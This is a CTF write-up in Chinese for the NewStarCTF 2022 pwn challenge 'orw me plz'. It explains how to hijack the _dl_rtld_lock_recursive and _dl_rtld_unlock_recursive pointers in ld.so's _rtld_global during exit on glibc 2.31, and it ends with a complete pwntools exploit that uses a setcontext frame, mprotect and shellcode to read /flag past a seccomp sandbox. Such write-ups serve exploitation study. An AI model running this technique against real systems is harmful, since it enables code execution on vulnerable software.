2022 NewStarCTF Pwn Week5 orw me plz

赛时 1 解找不到 WP, 调了一万年

glibc 2.31, 保护全开. 程序非常简单, 开了个沙箱禁用了 open, execve, execveat, fork, vfork, prctl, ptrace. 给了 libc 地址, 然后能任意写 0x10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void __noreturn vuln()
{
  void *buf; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  buf = 0LL;
  puts("This time you need to orw.");
  printf("Here is your gift: %p\nGood luck!\n", &puts);
  printf("Addr: ");
  read(0, &buf, 8uLL);
  printf("Data: ");
  read(0, buf, 0x10uLL);
  puts("Did you get that?");
  exit(0);
}

一眼打 exit.

一开始想构造多次任意写, 但是并不知道程序基地址, 即使能够泄漏出来, 也没有继续写的机会了.

能写 0x10, 说明其实最多可以写两个 hook.

exit 会调用 ld.so 中的 _dl_fini 函数, 这个函数中调用了两个函数指针 _dl_rtld_lock_recursive_dl_rtld_unlock_recursive:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define GL(name) _rtld_global._##name
#define __rtld_lock_lock_recursive(NAME) GL(dl_rtld_lock_recursive) (&(NAME).mutex)
#define __rtld_lock_unlock_recursive(NAME) GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
void
_dl_fini (void)
{
  ...
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      __rtld_lock_lock_recursive (GL(dl_load_lock));  // 调用 __rtld_lock_lock_recursive
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0
    || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
    )
  __rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
  {
    struct link_map *maps[nloaded];
    unsigned int i;
    struct link_map *l;
    assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
    for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
      if (l == l->l_real)
        {
    assert (i < nloaded);
    maps[i] = l;
    l->l_idx = i;
    ++i;
    ++l->l_direct_opencount;
        }
    assert (ns != LM_ID_BASE || i == nloaded);
    assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
    unsigned int nmaps = i;
    _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
       NULL, true);
    __rtld_lock_unlock_recursive (GL(dl_load_lock)); // 调用 __rtld_lock_lock_recursive
  ...
}

这俩函数指针在 _rtld_global 结构体中, 并且连在一起. 通过宏可以看到, 这两个函数其实都有一个参数 _rtld_global._dl_load_lock.mutex, 这个参数也在 _rtld_global 上. _rtld_global 在 ld.so 的 .bss 上.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#define __rtld_lock_define_recursive(CLASS,NAME) \
  CLASS __rtld_lock_recursive_t NAME;
struct rtld_global
{

  __rtld_lock_define_recursive (EXTERN, _dl_load_lock)
    ...;
  EXTERN void (*_dl_rtld_lock_recursive) (void *);
  EXTERN void (*_dl_rtld_unlock_recursive) (void *);
    ...;
}

可以看到这两函数是获取和释放一个互斥锁. 那么这俩函数一定会被先后调用. 考虑把 _dl_rtld_lock_recursive 改成 gets 函数, 把 _dl_rtld_unlock_recursive 改成 system 函数, 然后 gets 输入 /bin/sh\0, 之后就可以 system("/bin/sh") get shell 了.

这题由于开了沙箱, 则需要更复杂一点的做法. 没有禁用 openat, 仍然可以 orw. 考虑将 _dl_rtld_unlock_recursive 改成 setcontext, 那么之前的 gets 往参数 (_rtld_global._dl_load_lock.mutex) 上写 frame 和 rop chain, 理论上来说就可以了.

但是, 用最简单的方法直接写 frame 的时候, 在 assert (ns != LM_ID_BASE || i == nloaded); 一句 assert 没过. 简单调了几个偏移, 过了以后但是在某个地方又访问非法内存了.

回顾一下源码, 首先这个 if 是进不去的, 调试发现 nloaded 是 4, 所以调用 __rtld_lock_unlock_recursive 应该是后面的那个.

1
2
3
4
  if (nloaded == 0
    || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
    )
  __rtld_lock_unlock_recursive (GL(dl_load_lock));

else 中, 先处理了一下 maps, 并且 assert 了 i. 可以看到, 仅当 l == l->l_real 成立时, i 才会增加.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    struct link_map *maps[nloaded];
    unsigned int i;
    struct link_map *l;
    assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
    for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
      if (l == l->l_real)
        {
    assert (i < nloaded);
    maps[i] = l;
    l->l_idx = i;
    ++i;
    ++l->l_direct_opencount;
        }
    assert (ns != LM_ID_BASE || i == nloaded);
    assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

于是猜想是破坏了 _rtld_global 的某些指针结构, 导致这里 assert 住了, 或者访问到了非法内存.

不过由于水平有限, 并没有找到这个 map 在哪 (I good vegetable a)

自己莽出来的方法是, 尽可能少破坏结构, gets 读入和原来一样的值, 把 frame 往后推 (貌似是 mutex + 0x80 到 mutex + 0x100 之间的某些值不能被破坏). 这里找了一个 mutex + 0x130 的地方作为 frame 的开始, 前面仅破坏 mutex + 8 用于 mov rdx, [rip + 8] 这个 gadget 进行跳转.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc-2.31.so'
ldname = './ld-2.31.so'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 27580)
elf = ELF(procname)
libc = ELF(libcname)
ld = ELF(ldname)

n2b  = lambda x    : str(x).encode()
sa   = lambda p, s : io.sendafter(p, s)
sla  = lambda p, s : io.sendlineafter(p, s)
sna  = lambda p, n : sla(p, n2b(n))
itr  = lambda      : io.interactive()

def leakaddr(pre = None, suf = None, bit = 64, keepends = True, off = 0):
    u = {64: u64, 32: u32}
    num = 6 if bit == 64 else 4
    if pre is not None:
        io.recvuntil(pre)
    if suf is not None:
        r = io.recvuntil(suf)
        if not keepends:
            r = r[:-1]
        r = r[-num:]
    else:
        r = io.recv(num)
    return u[bit](r.ljust(bit//8, b'\0')) - off

io.recvuntil(b'gift: ')
libc.address = int(io.recv(14), 16) - libc.sym.puts
ld.address += libc.address + 0x1F4000
success(f'leak libc.address: {hex(libc.address)}')
success(f'leak ld.address:   {hex(ld.address)}')

_rtld_global              = ld.sym._rtld_global
_dl_load_lock_mutex       = _rtld_global + 0x908
_dl_rtld_lock_recursive   = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _dl_rtld_lock_recursive + 8
mov_rdx_rdi_8_call_rdx_20 = libc.address + 0x151990

frame_addr = _dl_load_lock_mutex + 0x130
fake_rsp   = _dl_load_lock_mutex + 0x1e0
code_start = _dl_load_lock_mutex + 0x1e8

rip = libc.sym.mprotect
rdi = _dl_load_lock_mutex >> 12 << 12
rsi = 0x1000
rdx = 7
rsp = fake_rsp

sa(b'Addr: ', p64(_dl_rtld_lock_recursive))
sa(b'Data: ', p64(libc.sym.gets) + p64(mov_rdx_rdi_8_call_rdx_20))

shellcode  = 'sub rsp, 0x500' + shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.read(3, _dl_load_lock_mutex, 0x50)
shellcode += shellcraft.write(2, _dl_load_lock_mutex, 0x50)

payload = flat([
    p64(0), p64(frame_addr),
    p64(1), p64(0),
    p64(0), p64(0),
    p64(0), p64(1),
    p64(0) * 2,
    p64(4), p64(0),
    p64(0), p64(63),
    p64(3), p64(ld.address + 0x2FEC0),
    p64(ld.address), p64(0xdeadbeef),
    p64(ld.address + 0x2DE68), p64(0),
    p64(ld.address - 0x2000), p64(ld.address + 0x2E9E8),
    p64(0), p64(ld.address + 0x2F050),
    p64(0) * 2,
    p64(ld.address + 0x2DEE8), p64(ld.address + 0x2DED8),
    p64(ld.address + 0x2DE78), p64(ld.address + 0x2DE98),
    p64(ld.address + 0x2DEA8), p64(ld.address + 0x2DF18),
    p64(ld.address + 0x2DF28), p64(ld.address + 0x2DF38),
    p64(ld.address + 0x2DEB8), p64(ld.address + 0x2DEC8),
    p64(0) * 2,
    p64(ld.address + 0x2DE68), p64(0),
    p64(0) * 2,
    p64(libc.sym.setcontext + 0x3d), p64(0),
    p64(ld.address + 0x2DEF8), p64(0),
    p64(0), p64(ld.address + 0x2DF08),
    p64(0) * 2,
    p64(0), p64(rdi),
    p64(rsi), p64(0),
    p64(0), p64(rdx),
    p64(0) * 2,
    p64(rsp), p64(rip),
    p64(code_start),
    asm(shellcode),
])

sla(b'Did you get that?\n', payload)
itr()

UPD: 非常暴力地调了一下, 发现 mutex + 0x98 和 mutex + 0xa8 这个两位置不被破坏就行, 其他随意. 在 glibc 2.31 ubuntu 9.9 版本下, mutex + 0x98 = 0, mutex + 0xa8 = ld.address + 0x2E9E8.